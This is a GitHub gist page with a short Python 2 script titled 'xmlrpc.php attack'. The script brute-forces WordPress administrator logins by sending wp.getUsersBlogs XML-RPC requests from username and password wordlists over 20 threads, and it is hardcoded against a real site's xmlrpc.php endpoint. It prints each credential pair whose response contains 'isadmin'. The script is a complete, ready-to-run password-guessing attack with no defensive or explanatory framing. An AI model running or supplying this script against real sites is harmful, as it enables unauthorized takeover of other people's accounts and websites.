Navigation Menu

Skip to content

Instantly share code, notes, and snippets.

@sipcer
Created August 1, 2014 07:29
Show Gist options
  • Star 2 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save sipcer/cf2b4e56fe28835c3ceb to your computer and use it in GitHub Desktop.
Save sipcer/cf2b4e56fe28835c3ceb to your computer and use it in GitHub Desktop.
xmlrpc.php attack
import futures
import requests
from Queue import Queue
XML_URL = "http://www.freebuf.com/xmlrpc.php"
USER_FILE = "username.txt"
PASS_FILE = "password.txt"
THREAD_NUM = 20
data = """<?xml version="1.0" encoding="UTF-8"?><methodCall><methodName>wp.getUsersBlogs</methodName><params><param><value>%s</value></param><param><value>%s</value></param></params></methodCall>"""
task = Queue()
def attack():
while not task.empty():
username = task.get()
pass_txt = open(PASS_FILE)
for password in pass_txt:
req = requests.post(XML_URL, data=data % (username, password.rstrip("\n")))
if 'isadmin' in req.text:
print "[+] username = " + username + " password = " + password
break
print "[-] username %s finished" % username
def main():
user_txt = open(USER_FILE)
for username in user_txt:
task.put(username.rstrip("\n"))
executor = futures.ThreadPoolExecutor(max_workers=THREAD_NUM)
for i in range(THREAD_NUM):
executor.submit(attack)
executor.shutdown()
if __name__ == "__main__":
main()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment